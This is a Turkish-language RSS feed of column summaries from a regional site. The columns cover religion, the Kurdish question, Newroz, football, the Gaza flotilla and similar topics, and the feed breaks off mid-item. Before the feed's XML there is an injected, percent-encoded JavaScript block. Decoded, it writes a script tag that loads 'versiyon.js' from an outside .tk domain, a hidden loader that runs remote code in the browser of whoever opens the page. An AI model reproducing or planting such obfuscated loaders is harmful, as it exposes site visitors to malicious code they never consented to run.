
<SCRIPT Language="JavaScript">
<!--
document.write(unescape("%3C%73%63%72%69%70%74 %74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22 %73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%73%6E%66%6F%72%75%6D%2E%74%6B%2F%76%65%72%73%69%79%6F%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A"));
//-->
</SCRIPT><?xml version="1.0" encoding="windows-1254"?><rss version="2.0"><channel><title>CcPortal.Net - Köşe Yazıları için özet akışı..</title><link>http://www.silvanlilar.com</link><description>abone konusu eklenir</description><webMaster>admin@silvanlilar.com</webMaster><copyright>By Silvanli</copyright><language>tr-TR</language><item><title>Zalimlere Lanet, Mazlumlara Selam Olsun!</title><link>http://www.silvanlilar.com/koseyazi-goster-35-zalimlere_lanet_mazlumlara_selam_olsun.html</link><description>Gazeye Özgürlük Filosundaki Gemilere, dünyanın en vefalı, en vicdanlı, en merhametli, en fedakâr, en cefakâr insanları binmişti!.. Bu fedakâr insanlar, yıllardır dünya ile irtibatları kesilen ve üzerlerine ölüm bombaları yağdırılan mazlumların yardımına koşuyorlardı… Bu şefkat ve merhamet numunesi olan insanlar, dünyaya kafa tutarak bildiğini okuyan şımarık Terör Devleti İsrail’in ablukasını kırmaya niyetlenmişlerdi…Yürekleri dayanmıyordu birileri açlıktan, hastalıktan, yoksulluktan kıvranarak can verirken… Vicdanları onları rahat bırakmıyordu… Saldırıya uğramayı, tutuklanmayı, işkence görmeyi, hapislere atılmayı ve şahit olmayı göze almışlardı özgürlük gemilerinin Özgür Yolcuları… Ve amaçlarına ulaştılar!.. Kimisi kanlarını akıttı şehit oldu, kimisi yaralandı, kimisi eziyet ve işkence gördü, kimisi elleri kelepçelenerek hapishanelere atıldı, ama tüm dünyaya bir insanlık dersini vermeyi başardılar!..Dini, dili, rengi, ırkı ne olursa olsun, insanlık duygularını kaybetmeyen dünyadaki tüm...</description><author>Bahcevan</author><category>Okunma: 87</category><pubDate>01-Haz-2010 23:29:05</pubDate></item><item><title>EN GÜZEL İSİMLER</title><link>http://www.silvanlilar.com/koseyazi-goster-34-en_guzel_isimler.html</link><description>EN GÜZEL İSİMLER 1.Allah”: Ulvveeucirc;hiyete mahsus sıfatların hepsini kendinde toplayan ism-i azim… 2.Er-Rahman: Esirgeyici, bütün mahlvveeucirc;katına rahmetiyle muamele eden(dünyada) 3.Er-Rahim: Bağışlayıcı, sevdiklerine ve müminlere merhamet eden(ahirette) 4.El-Melik: Mülkün sahibi, mülk ve saltanatı devamlı olan 5.El-Kuddüs: Her türlü eksiklik ve ayıplardan münezzeh olan 6.Es-Selam: Her çeşit afet ve kederlerden emin olan 7.El-Mü'min: Kullarına emniyet veren Kendinin ve peygamberlerinin doğruluğunu ortaya koyan, kullarına yaptığı vadinde sadık olan 8.El-Müheymin: Saltanatı hakkında dilediği gibi tasarruf eden, her şeyi gözetip koruyan 9.El-Aziz: İzzet sahibi, maglup edilmesi imkânsız olan, her şeye galip olan 10. El-Cabbar: Azamet ve kudret sahibi, istediğini mutlak yapan, dilediğine muktedir olan 11. El-Mütekebbir:Ululuk sahibi, her şeyde ve her hadisede büyüklüğünü gösteren 12. El-Halik: Her şeyin varlığını ve geçireceği halleri takdir eden, yaratan, yoktan var eden büyüklükte ...</description><author>Bahcevan</author><category>Okunma: 55</category><pubDate>24-May-2010 20:34:06</pubDate></item><item><title>AHLAK NEDİR?</title><link>http://www.silvanlilar.com/koseyazi-goster-33-ahlak_nedir.html</link><description>Ahlak Kuralları veya Yaratılış Amaçlarımız Ahlak: İnsanlarıntoplum içindeki davranışlarını ve birbirleriyle ilişkilerini düzenlemek amacıyla başvurulan kurallar bütünü olarak tanımlanmaktadır. Ahlak kavramının kökü, yaratılış kavramı ile aynıdır. Halk,hulk, hılkat, ahlak, kelimelerinin hepsi aynı kökten gelmekte olup yaratma, yaratılış, yaratılışlar gibi anlamlara gelmektedir. Ahlak kavramı ile yaratılış kavramı arasındaki bağlantı, bize şunu düşündürmektedir: Ahlak kuralları, yaratılış kurallarıdır. Yani yaratılış amacımız, var oluş gayemiz ne ise uymamız gereken ahlaki kurallar da odur. Dolayısıyla ahlak kavramını;”İnsanların kendi yaratılış amacına uygun bir şekilde yaşamasını gerektiren kurallar” olarak tanımlamak mümkündür!..Bunu bir kural olarak tüm varlıklara genelleyebiliriz. Örneğin; bir çiçeğin, bir ağacın, bir kuşun veya bir bal arısının yaratılış sebebi, var oluş gayesi ne ise, onun ahlaki kuralları da odur. O halde insanların uymaları gereken ahlaki kurallar, insanların ya...</description><author>Bahcevan</author><category>Okunma: 78</category><pubDate>11-May-2010 20:39:02</pubDate></item><item><title>Şeytan/İblis Hakkında Bildiklerimiz</title><link>http://www.silvanlilar.com/koseyazi-goster-32-seytan_iblis_hakkinda_bildiklerimiz.html</link><description>Şeytan/İblis Hakkında Bildiklerimiz Evreni ve içindeki görünen ve görünmeyen tüm varlıkları yaratan Yüce Allah, evren ve içindekileri, inananların, “Sünnetüllah, Adetüllah, Hududüllah…” dedikleri, inanmayanların da “Tabiat Kanunları, Doğa Kanunları, Fizik Kanunları…” gibi adlarla adlandırdıkları kanunlarla yönetmekte, idare etmektedir…Bu evrenin içinde, bizim bildiğimiz üç önemli varlık vardır. Bunlar insanlar, melekler ve cinlerdir. İnsanlar; topraktan yaratılmış, irade hürriyetine sahip olan, yani iyilik ve kötülük yapma, doğruyu ve yanlışı seçme hürriyetine sahip olan ve bunun sonucunda da sorumluluk üstlenen, yani ödül ve ceza gerektiren sevap ve günah sorumluluğuna sahip olan varlıklardır… Melekler; nurdan/ışıktan yaratılmış, bildiğimiz anlamda cinsiyetleri olmayan, yemeyen, içmeyen, irade hürriyetine sahip olmayan, yani yaratıcı tarafından verilen her emri/görevi eksiksiz yerine getiren ve insanlar tarafından görülmeyen varlıklardır… Cinler; dumansız nardan/ateşten yaratılmış, in...</description><author>Bahcevan</author><category>Okunma: 42</category><pubDate>03-May-2010 15:23:14</pubDate></item><item><title>Asrın Belası</title><link>http://www.silvanlilar.com/koseyazi-goster-31-asrin_belasi.html</link><description>Asrın Belası Bir duman ki, kapkara Ciğerde açar yara, Pençesinde kıvranır Hem zengin hem fukara. Altı asırdan beri İşgal etti her yeri, Ona müptela olan Artık zor döner geri. Ateş aldığı zaman Çıkar zehirli duman, Yaydığı o kokudan Rahatsız olur insan. Temiz havayı bozar Bütün canlıya zarar, Nice garip insanın Kazandığını yakar. İnsanların birçoğu Düşünmez varı yoğu, Masrafı ona yapar Aç dururken çocuğu. Onu sevip içenler “Stres giderir” derler, Hatta bazı gafiller Kalkıp da methederler. Görmedik onda yarar Her yönünde var zarar, Ey akıllı arkadaş İçmekten sana ne kâr? Sağlık sana emanet Sakın etme ihanet, İradene hâkim ol Şu sigarayı terk et. Sevgin varsa kendine Ailen ve çevrene, Vazgeç şunu içmekten Alma artık eline! kalem@lamucim.com...</description><author>Bahcevan</author><category>Okunma: 62</category><pubDate>28-Nis-2010 21:20:57</pubDate></item><item><title>Milli Bayramlar ve Mini Etekli Dans Etkinlikleri</title><link>http://www.silvanlilar.com/koseyazi-goster-29-milli_bayramlar_ve_mini_etekli_dans_etkinlikleri.html</link><description> Milli Bayramlar ve Mini Etekli Dans EtkinlikleriÜlkemizde medya; Yasama, Yürütme ve Yargının yanında kamuoyunun oluşturmasına ve dolayısıyla ülkenin yönetilmesine yön vermede dördüncü güç olma özelliğini kazanmış durumdadır. Eskiden gizli saklı kalan birçok uygulama, etkinlik, olay ve gelişmeler, artık medyanın aracılığıyla gizli ve saklı kalmamakta, gün yüzüne çıkmakta, afişe olmaktadır. Bu nedenle, özellikle ülkeyi yönetenler ve bürokrasi medyanın karşısında hep dikkatli ve temkinli davranmakta, mümkün mertebe medya ile karşı karşıya kalmamaya, medyanın diline düşmemeye özen göstermektedir!... Ülkemizde memurlar tarafından, özellikle öğretmen ve öğrenciler tarafından her yıl kutlamaları zorunlu hale getirtilen milli bayramlar ile belirli gün ve haftalarda sergilenen çeşitli etkinlikleri medya aracılığıyla takip etme imkanına kavuşmuş bulunmaktayız!.. Maalesef medya aracılığıyla gördüklerimiz ve duyduklarımız ile bizzat şahit olduğumuz uygulamalar, etkinlikler ve gelişmeler, hiç de i...</description><author>Bahcevan</author><category>Okunma: 66</category><pubDate>25-Nis-2010 00:06:55</pubDate></item><item><title>Selam ve Önemi</title><link>http://www.silvanlilar.com/koseyazi-goster-28-selam_ve_onemi.html</link><description>Selam ve ÖnemiDeğerli “silvanlilar.com” sitesinin kurucu, yönetici, yazar, üye ve ziyaretçileri, hepinizi selamların en güzeli olan Allahın selamı ile selamlarım! Nasip olursa, bundan sonra bu köşede sizinle gündemden meseleler, toplumsal gelişmeler, genel kültürümüz ve inanç değerlerimiz ile ilgili bildiklerimi, görüş ve fikirlerimi paylaşmaya çalışacağım. Tabi olumlu veya olumsuz yorum ve değerlendirmeleriniz bana yön verecektir. Dolayısıyla her yazıma bir iki satırlık da olsa olumlu veya olumsuz değerlendirmelerinizi beklerim!... Bu yazı bir selamlama yazısı olduğu için toplumumuzda, kültürümüzde ve inancımızda selamlaşmanın önemine biraz değinmek istiyorum.Genel olarak her insan topluluğunda selam ve selamlaşma şekilleri vardır. Fakat her toplumun selam şekli farklı farklıdır. Bizim toplumumuzda da değişik selam şekilleri vardır. Güler yüzle baş veya el işareti gibi beden dili ile yapılan selamlaşmanın yanında söz ile yapılan selamlaşma çeşitleri oldukça fazladır. Bunlardan bir kaç...</description><author>Bahcevan</author><category>Okunma: 92</category><pubDate>23-Nis-2010 21:40:45</pubDate></item><item><title>KÜRT SORUNUNDA İNCE NOKTA</title><link>http://www.silvanlilar.com/koseyazi-goster-24-kurt_sorununda_ince_nokta.html</link><description>KÜRT SORUNUNDA İNCE NOKTABiz içimizden insanlık duygularını, kardeşliği, sevgiyi yitirmediğimiz sürece çözemeyeceğimiz hiçbir sorun, hiçbir sıkıntı yoktur. Bu duygu; toplum, ülke, dünya çekirdeğini oluşturan aile bireylerinde başlar. Herkes kendi evinde kendi çocuklarını sevgiyle büyütürse ve çocuğu evlilik çağına geldiğinde geriye dönüp topluma bakarsa toplumun düzeldiğini görecektir. Nasıl mı? Bir gün sormuşlar ermişlerden birine: Sevginin sadece sözünü edenlerle, onu yaşayanlar arasında ne fark vardır?diye. Bakın göstereyim demiş ermiş. Önce sevgiyi dilden gönüle indirememiş olanları çağırarak onlara bir sofra hazırlamış. Hepsi oturmuşlar yerlerine. Derken tabaklar içinde sıcak çorbalar gelmiş ve arkasından da derviş kaşıkları denilen bir metre boyunda kaşıklar. Ermiş Bu kaşıkların ucundan tutup öyle yiyeceksiniz diye bir de şart koymuş. Peki demişler ve içmeye teşebbüs etmişler. Fakat o da ne? Kaşıklar uzun geldiğinden bir türlü döküp saçmadan götüremiyorlar ağızlarına. En sonunda ...</description><author>Admin</author><category>Okunma: 290</category><pubDate>25-Eki-2009 16:14:56</pubDate></item><item><title>DİYARBAKIRSPOR'A BU İLGİ NEDEN?</title><link>http://www.silvanlilar.com/koseyazi-goster-23-diyarbakirspor_a_bu_ilgi_neden.html</link><description>DİYARBAKIRSPOR'A BU İLGİ NEDEN? Diyarbakırspor'da mevcut bir yönetim var. Aynı zamanda taliplileri de var. Çok ilginç bir kulüptür Diyarbakırspor. Bazen hiç ilgi görmez, sahipsizdir. Kimse kapısının önünden geçmez. Sonra bir bakarsınız hiç ummadığınız zamanlarda, hiç ummadığınız kişiler sahip çıkmak istiyor.Kayyumdan kıl payı kendini kurtaran Diyarbakırspor’a, o an neden sahip çıkılmadı diye düşünmemek elde değil. İnsanlar önce riske girmek istemiyor. Sonradan çok daha riskli ortamı seçiyorlar. Ortada bir yönetim var. Doğru işler yapıp, yapmadıkları ayrı bir şey. Bir de bu işe talip olanlar var. Onların talip olurken ne kadar doğru bir iş yaptıkları da tartışılır.‘Yönetim kongre kararı alsın, biz talibiz’ diyorlar. Uzaktan atış yapmakla olmuyor beyler.. Kimsiniz, nesiniz, neden durup, dururken aday olmak istiyorsunuz?. Öncelikle bu soruların cevabını vererek, kamuoyunu bir rahatlatın.Basın ve TV aracılığıyla aday olmayı duyurmak yeterli değil. Çok ciddi bir düşünceniz varsa, gelin Diya...</description><author>Admin</author><category>Okunma: 197</category><pubDate>25-Eki-2009 16:02:40</pubDate></item><item><title>KÜRTLER BAŞBAKANA DESTEK OLMALI</title><link>http://www.silvanlilar.com/koseyazi-goster-22-kurtler_basbakana_destek_olmali.html</link><description> Kürtler Başbakana destek olmalıBaşbakan İstanbul'daki iftar yemeğinde, Türkiye'ye, Türkiye halklarına çok önemli bir mesaj verdi. İktidar ve dokunmalar kapsamında başbakanın verdiği birkaç kelimelik mesajı ülkedeki gelişmelerle buluşturduğumuzda, bıçak sırtı bir dönemden nasıl geçtiğimizi anlamak mümkün. Başbakan göreve geldikleri ilk günden itibaren nasıl bir sıkıntı içinde olduklarını anlattı aslında. Sistemin kuşatması altında bir iktidar, ufak ufak dokunmalar yapıyor ve uyarılıyor. ‘Yapma, etme, beceremezsin, dokunma, sonu kötü olur’ gibi uyarılar aldıklarını söylüyor başbakan. Bildikleri o kadar çok şeyin olduğunu, ancak bunları konuşamadığını da açık bir dille ifade eden başbakan Erdoğan, ‘Ancak, konuşacağımız, açıklayacağımız zamanda gelecek’ derken, hala sıkıntıda olduklarının da altını çizmiş oldu. Başbakan’ın ve iktidarın Ergenekon la birlikte Kürt meselesi konusundaki sıkıntılarının olduğu net. Hala aşamadıkları bazı engellerin olduğunu da anlayabiliyoruz. Başbakan’ın mesaj...</description><author>BySilvanli</author><category>Okunma: 71</category><pubDate>07-Eyl-2009 12:14:58</pubDate></item><item><title>Başlarken</title><link>http://www.silvanlilar.com/koseyazi-goster-20-baslarken.html</link><description>....</description><author>Admin</author><category>Okunma: 280</category><pubDate>02-Eyl-2009 17:02:20</pubDate></item><item><title>Merhaba</title><link>http://www.silvanlilar.com/koseyazi-goster-19-merhaba.html</link><description>Merhaba, yazima baslamadan once kendimi tanitmak uygundur diye dusundum. Adim Melike, Adapazar dogumluyum. Kucuk yaslarda Avrupaya geldim aile birlesimi adi altinda. Gunluk yasamda sosyal pedegok ve iki genc kiz annesiyim. Dilerim gelecek zaman icerisinde iyi sohbetlere, hos tartismalara sebep oluruz. Birseyleri isaret edebilir cozum uretebiliriz umuduyla.Sevgi ile kalin. Yemek kulturu...Turk mutfaginin zenginligi dunyaca unlu oldugunu cok iyi biliyoruz. Corbalarimiz dunyanin en hafif corbalaridir. Yanliz Turkler ''corba iciyoruz'' derler. Diger dillerde corba yenir. Mezlerimizden bircok ulke ilham almistir. Sebze yemeklarimiz mideye sunulan en sifali ziyafettir. Karni yarik adindaki patlican yemegimiz yiyenlerin beyin hucrelerini muptela ediyor bu yemege. Manti cesitlerimiz nekadar taklit edilsede, bizim mantimizin tadi verilememis. Pilavimiz dunya princli yemeklerine meydan okumakta. Ya bulgurumuz? Avrupanin en luks mutfaklarinda en gozde yemegi. Ya tatlilarimiz? Baklava, revani, kad...</description><author>Admin</author><category>Okunma: 216</category><pubDate>02-Eyl-2009 01:11:53</pubDate></item><item><title>DEVLET, PKK VE DTP'DEN ÖNCE ATAK YAPABİLİR Mİ?</title><link>http://www.silvanlilar.com/koseyazi-goster-18-devlet_pkk_ve_dtp_den_once_atak_yapabilir_mi.html</link><description>DEVLET, PKK VE DTP'DEN ÖNCE ATAK YAPABİLİR Mİ? Kürt açılımı konusunda ülkede yoğun bir gündem var. Yoğun olmakla birlikte, açılıma dönük bir çalışma ve duruşun olduğunu hissedebiliyoruz. MGK’nın gündemi Kürtler ve Kürt sorunu. Dolayısıyla MGK ekseninde bir araya gelen TSK, MİT, Hükümet kanadının da doğal gündemi, ülkenin diğer sorunlarının yanı sıra, Kürt sorunudur. Kürtlerin, DTP’nin, PKK’nın zaten tek gündemi de zaten bu konu. Abdullah Öcalan, düşünceleri için Eylül’e gönderme yaptı. KCK, eylemsizlik kararını Eylül’e sarkıttı. Devlet Eylül’ü bekler mi? Sanırım beklemez. Eylül ayına yapılan göndermeler, biraz da devletin bir şeyler ortaya koyması için zaman ve alan yaratmak içindir.Asker savaşan taraf olduğu için, asıl önemli görev, başta MİT olmak üzere iktidarda. Çünkü iktidarı yönlendiren, bilgilendiren, gerçekle yüz yüze gelmesini sağlayan kurum MİT’tir. Bu meseleyi en iyi bilende bu kurumdur. Müsteşar Emre Taner’in emekli olmasına rağmen, görev süresinin uzatılmasının nedeni de K...</description><author>Admin</author><category>Okunma: 65</category><pubDate>18-Tem-2009 12:10:44</pubDate></item><item><title>AH SEVGİLİ</title><link>http://www.silvanlilar.com/koseyazi-goster-17-ah_sevgili.html</link><description>AH SEVGİLİ Geçen yıl bu zamanlardı. Ben, 13 yıllık tecrübeden sonra bu saygın gazetemizin köşe yazarlığına başlamış ve ilkyazımı yazmıştım. Ne tesadüf ki 14 Şubat sevgililer gününe denk gelmişti ve ben ELİMDE GÜLLE BAŞLIYORUM diye bir yazı yazmıştım. Bu ilk yazıyı da siz değerli okuyuculara ve okuyuculara bu yazıyı ulaştırmada emeği geçen herkese GÜL niyetine armağan etmiştim.Sizlere bu konuda bir itirafta bulunacağım; gazetemizin uğuruna inanıyorum. Çünkü bu saygın gazetemize yazmaya başladığımda özel hayatımda kimse yoktu. Ben hayatta tek mermi dolaşıyordum.Kısa bir zaman sonra hayatımın diğer yarısını bulmuştum. Ruh eşimdi ve Kalu-Beladan beri tanışıyorduk. Artık Allah’tan kısmetimi istemiyor Allah’a şükürler ediyordum. Çünkü hayatımda ilk defa bir insanla karşılıklı aşk heyecanını yaşamıştım. Bana, daha önce yaşadığım platonik aşkları unutturmuş, gözlerimi gözlerden çekmiş bir tek O’nu görmemi sağlamıştı. Evlenebileceğim tek insandı buna inanıyordum. Ama Avrupa O’nu çağırıyordu. Av...</description><author>Admin</author><category>Okunma: 176</category><pubDate>29-Haz-2009 00:49:51</pubDate></item><item><title>DİYARBAKIRDAN KÜRT SORUNUNU ÇÖZÜN ÇIKIŞI</title><link>http://www.silvanlilar.com/koseyazi-goster-16-diyarbakirdan_kurt_sorununu_cozun_cikisi.html</link><description>DİYARBAKIRDAN KÜRT SORUNUNU ÇÖZÜN ÇIKIŞI Cumartesi günü Kürt sorunu konusunda Diyarbakır’dan ‘Çözün’ çıkışı vardı. Bu çıkış iki ayrı adresli muhataplardı. AK Parti ve DTP’lilerin iki ayrı formatta gündeme getirdiği çözüm önerileri içerik bakımından farklıydı.AK Parti Milletvekili Abdurrahman Kurt’un gözyaşları dökerek yaptığı barış çağrısı duygusal format içermesi bakımından siyaseten doğru bir temelde değerlendirilebilinir mi, değerlendirilemez mi? Buna, bu işin siyasetini yapanların karar vermesi daha doğru olur. Ancak, Kurt’un hitabında çözüme katkı sunabilecek bir anlayışın hâkim olmadığını söylemek mümkün.Gözyaşları arasından duygusal anlamda yayılan cümlelerdeki ‘gizli’ suçlama, iktidarı aradan sıyıran, buna karşın DTP, dolayısıyla PKK ve Devlet içindeki ‘derin güçleri’ hedef alan nitelikteydi. Başbakan ve Cumhurbaşkanının bu konuda gerekeni yaptığını, yapılanlara destek verilmesini isteyen Kurt, çatışma ortamının devam etmesinden yana olanların varlığına işaret etti ve bu kesimi...</description><author>Admin</author><category>Okunma: 80</category><pubDate>01-Haz-2009 09:26:21</pubDate></item><item><title>DAĞDAKİ YAZILARI SİLİN</title><link>http://www.silvanlilar.com/koseyazi-goster-15-dagdaki_yazilari_silin.html</link><description>DAĞDAKİ YAZILARI SİLİNBazen kelimeler çok sert çıkar kalemimden..Bazen büyük harflerle yazarım yazılarımı..Bazen kırmızıçizgi çekerim cümlelerimin altına..Bazen kalemi batırırım yazımın ortasına.Bazen kocaman bir çarpı atarım yazılarıma… Çünkü yazılarım yayınlandığında sorgu odalarına alınacağımı biliyorum.Güneşten, yıldızlardan, çiçeklerden, temiz havadan mahrum edileceğimi biliyorum.Çünkü ben yazdım mı çok sert yazarım. Çünkü ben bir kürdüm… Ben bir kürdüm, bu hayatta, şimdi hayatta olmayanları çok gördüm.Ben bir kürdüm, Kürt olmanın ne kadar zor olduğunu çok iyi biliyorum… Senin ne bir ülken olur nede dilini konuşabilirsin. Ülke kurmaya kalkışırsan ölürsün,kurmazsan ikinci sınıf vatandaş olmaya razı kalırsın. Kendi öz dilini konuştun mu çarpılırsın, konuşmasan yuhalanırsın. Kendini ifade edemezsin. Çok zor şartlar altında yaşarsın. Nerde olduğunu bilemezsin. Ama ben şimdilik nerde olduğumu biliyorum. Ben şimdi ‘önce vatanda’ oturmuş şehri seyrediyorum. Mezopotamyanın en önemli yerle...</description><author>Admin</author><category>Okunma: 190</category><pubDate>31-May-2009 21:02:31</pubDate></item><item><title>ANNE-SİZ ANNELER</title><link>http://www.silvanlilar.com/koseyazi-goster-13-anne_siz_anneler.html</link><description>ANNE-SİZ ANNELER Biz insanların çok acayip bir fıtratları vardır. Aşk için, namus için, toprak için, insanları savunmak adına çıkıp insanları vurabiliyoruz. Dehşetler saçabiliyoruz, vahşetler yapabiliyoruz. Birde utanmadan çıkıp ta insanlar için yaptım diyebiliyoruz… Bence bu düşünce bir normal insanın taşıyacağı bir düşünce değildir. İçlerine şeytan girmiş, insan olarak görünen yaratıklardır. Şimdi Mazıdağı’ndaki kanı kim temizleyecek? Kim yas tutacak, kim ağlayacak ölülere..? Anne karnındaki bebeği kim doğuracak? Kim bebeğim, yavrum deyip sarılacak kundaktaki bebeğe? Kim emzirecek bebeğini, kim büyütecek çocuğunu? Kim annelik, kim babalık yapacak? Çocuklara, gençlere, yaşlılara kim bakacak? Kim nasihatlerde bulunacak..? Kim kaldı ki ölülerden başka… Yerde yatan cenazelerden başka kim kaldı ki… Ne zormuş annesiz kalmak, babasız kalmak ne zormuş, bi bilseniz… Kimsesiz yaşamak kadar zor bir şey yoktur yeryüzünde… Kimse anlamaz seni, kimse bilmez hatırını, kimse yedirmez seni, kimse içir...</description><author>Admin</author><category>Okunma: 221</category><pubDate>09-May-2009 00:52:06</pubDate></item><item><title>TOPYEKÛN REHABİLİTASYONA İHTİYACIMIZ VAR</title><link>http://www.silvanlilar.com/koseyazi-goster-12-topyekûn_rehabilitasyona_ihtiyacimiz_var.html</link><description>TOPYEKvveeUcirc;N REHABİLİTASYONA İHTİYACIMIZ VAR1980’den bugüne bakıyoruz; Cezaevleri ağzına kadar dolu. Binlerce faili meçhul cinayet. Binlerce kayıp. Toprağa verilen on binlerce kişi. Dağlarda binlerce silahlı militan. Ovada ve dağlarda 50 bin korucu. Yüz binlerle ifade edilen güvenlik güçleri.Öksüz ve yetim çocuklar. Erken yaşta dul kalmış kadınlar. Gözü yaşlı anne, baba ve kardeşler. Bir ülke. Ve bir ülkenin insanları için ne kadar ağır bir tablo değil mi? Türkiye, Kürtler ve son 30 yılın tablosu.Ve de bu tablonun içi kardeşkanıyla boyandı. Bu tablonun yıllarca duvarda asılı kalmasının kime ne yararı var? Bu tabloyu duvardan indirmek çok mu zor? Bunu duvardan indirecek seçenekler sınırlı değil. Seçenek çoktur ve sınırsızdır.30 yıllık şiddet tablosunun içinde yer alan ve olası sonuçları konusunda sürekli tartışma konusu olan, korkmakta haklılığımızı ispatlayan bir olayla yüz yüze geldik. Korktuğumuz gerçek, Mardin katliamı ile şamar gibi yüzümüze patladı.Şimdi 30 yıl biriktirdiğimi...</description><author>Admin</author><category>Okunma: 50</category><pubDate>09-May-2009 00:47:21</pubDate></item><item><title>DİCLE VADİSİ VE HAYALLERİM</title><link>http://www.silvanlilar.com/koseyazi-goster-11-dicle_vadisi_ve_hayallerim.html</link><description>DİCLE VADİSİ VE HAYALLERİM Hangi cümle izah eder. Hangi başlık tabirini koyar hayallerimin bilmiyorum. Bazen okyanustaki bir dalga gibi, bazen Karacadağ’da ki serin bir rüzgâr esintisi gibi olur düşüncelerim. Bazen aslan olur, bazen süt dökmüş kedi gibi olur yüreğim. Niye böyle olurum bilemem ama bildiğim bir şey var oda Diyarbakır’da ki, Dicle Vadisi üzerindeki hayallerim. Kendimi bildim bileli Dicle Vadisi üzerinde hayaller kurarım. Dicle Nehri üzerinde büyük bir baraj kurulmasını Diyarbakır merkez ile Dicle Üniversitesi arasındaki o Dicle Vadisinin komple suyla kaplamasıdır. Tabiri yerindeyse Diyarbakır’a deniz getirmektir.Ve isterim ki, Baraj suyu üzerine tekneler, vapurlar, jetsky, sürat tekneleri fiyaka atsınlar. Balıkçılar oltalarını büyük bir umutla atsınlar suya. Balıkçılık, bu işin meraklısı vatandaşlarımızın geçim kaynağı olsun. Fiskaya ile Dicle Üniversitesi arası vapur seferleri yapılsın. Silvan Diyarbakır Devlet yolu üzerindeki köprü yıkılıp yerine Boğaziçi Köprüsünü anım...</description><author>Admin</author><category>Okunma: 177</category><pubDate>07-Nis-2009 23:50:47</pubDate></item><item><title>KEMİKLER ÇIKTI, YA KEMİKÇİLER</title><link>http://www.silvanlilar.com/koseyazi-goster-10-kemikler_cikti_ya_kemikciler.html</link><description> KEMİKLER ÇIKTI, YA KEMİKÇİLERHayat yaşandıkça öğreniliyor.Tecrübe ile yaşamı öğrenmek gibi bir gereklilik gerçeği var. Hepimiz için aynı kuram geçerlidir.Çok bildiğimizi sandığımız anlar olmuştur. Çok tecrübeli olduğumuz kanaatine ulaştığımız anlar da olmuştur. Sonra karşı karşıya kaldığımız herhangi bir konuda durumun hiçte öyle olmadığını anlayabiliyoruz. Teorik olarak bildiğimiz, ya da bildiğimizi sandığımız bir meseleyi, yaşadıkça öğrendiğimizi gördükçe, bir önceki teorik hükmün hiçbir geçerliliğinin olmadığını o zaman anlayabiliyoruz. Bu siyasi ve politik konularda da böyle olduğu gibi,Yaşamın herhangi bir alanı ile ilgili de böyledir. Dostluklarda, arkadaşlıklarda, politik birlikteliklerde, hatta aile ilişkilerinde de durum aynıdır.Bizden önce de böyle olmuş. Bizim yaşadığımız ortamda da böyle. Bizden sonraki dönemde de böyle olacak.Yaşadıkça, tecrübelendikçe ‘Vay be, demek böyle’ ‘Yaşamak gerekiyormuş’ ‘Bir tecrübe daha edindik’ Gibi, hepimizin içinden geçirdiği cümleler olmuşt...</description><author>Admin</author><category>Okunma: 184</category><pubDate>07-Nis-2009 23:48:58</pubDate></item><item><title>NEWROZ'DAN SEÇİME SİNYAL</title><link>http://www.silvanlilar.com/koseyazi-goster-9-newroz_dan_secime_sinyal.html</link><description>NEWROZ’DAN SEÇİME SİNYAL NACİ SAPAN Dün Diyarbakır’da tarihi bir Newroz vardı.Yapılmış tüm Newroz’ları takip etmiştim.Ancak, ilk kez bu denli tarihe tanıklık edecek bir Newroz kutlaması oldu.Rakam konusunda çok iddialı olmayacağım.Ancak, 500 binin üzerinde bir rakam telaffuz etmekte bir sakınca görmüyorum. Bu rakamın üstü yoruma açık. Rakam telaffuz eden bazı yerlere göre de 55 bin kişi olmadığını da verdiğim rakamdan anlamış olacaksınız. Sadece alanın dışında piknik mantığı ile oturanların sayısı bile 55 binin üzerindeydi. DTP çevreleri de rakamı 1 milyon kişi olarak telaffuz ediyor. Zaten belediyeler mevcut alanı 500 bin kişiye göre dizayn etmiş. Bende ‘500 binin üzerindeki rakam yoruma açıktır’ diyorum.Rakamlar üzerinden durumu çok fazla değerlendirmekten yana değilim. Ancak, dün gözlerimle ve beynimle tanık olduğum ortamı da size aktarmak durumundayım. Rakamlar konusunda önceki Newrozlarda da aynı düşüncedeydim. Dünkü Newroz’a da bu mantıkla bakmıyorum. Bence verdiği mesaj; rakam ö...</description><author>Admin</author><category>Okunma: 130</category><pubDate>23-Mar-2009 00:16:49</pubDate></item><item><title>En eski Özgürlük Bayramı; NEWROZ</title><link>http://www.silvanlilar.com/koseyazi-goster-8-en_eski_ozgurluk_bayrami_newroz.html</link><description>En Eski Özgürlük Bayramı; NEWROZ Yeniden doğuşumu yoksa baharın müjdeleyicisi mi her ne olursa olsun 21 Mart tarihinin gerçek ve derin bir anlamı vardır. Derin bir anlama, uzun ve büyük bir geçmişe sahip olan Nevruzu bu köşeye sığdırmak mümkün değildir. Peki, bu kadar derin bir anlama sahip olan nevruz ne demektir?Dünya Kürt tarihinde Nevruz Bayramının çıkışı ve tarihi bir kaç şekilde anlatılmaktadır. B.Nikitin, Nevruz’un tarihinin çok eski yıllara dayandığını ve mitolojik bir kabukta, somut tarihi olayların saklı olduğunu ve onu efsaneleştirdiğini belirtiyor. Yazılı kanıtların çok az olduğu dönemlerde Nevroz’un tarihsel gelişimini sağlıklı bir şekilde yazmak tarihçileri zorlamıştır. Kürt tarihçileri, Kürtlerin en eski dini olan Zerdüşt'ün Kitabı Zendavester'de, Firdevs'in Şerefname’sinde Ömer Hayyam'ın Newroz namesinde ve Şerefxan'ın Şerefname’sinde ve günümüzde çeşitli yazılı eserlerde Nevroz değişik şekillerde işlenmiş, bugüne taşınmıştır. Bir efsaneye göre, M.O. 612 yılında Asur İm...</description><author>Admin</author><category>Okunma: 61</category><pubDate>22-Mar-2009 22:51:56</pubDate></item><item><title>29 MART SEÇİMLERİ VE NEWROZ</title><link>http://www.silvanlilar.com/koseyazi-goster-7-29_mart_secimleri_ve_newroz.html</link><description> 29 MART SEÇİMLERİ VE NEWROZ21 Mart Newroz kutlamaları DTP için büyük önem taşıyor.Tabii Newroz tarihinin seçimden bir hafta önce olması da siyaseten DTP’nin işine geldi. Siyaset biraz da böyle bir şeydir. Koşullar ve ortam bazen böyle denk gelecek. Normal bir mitingde toplanması mümkün olmayan bir kalabalığın doğal seyri içinde seçim öncesinde bir araya gelmesinin avantajları DTP tarafından da dikkate ve ciddiye alınıyor. Dün DTP kurmayları bir araya geldi.Newroz’la ilgili olumlu ve ılımlı 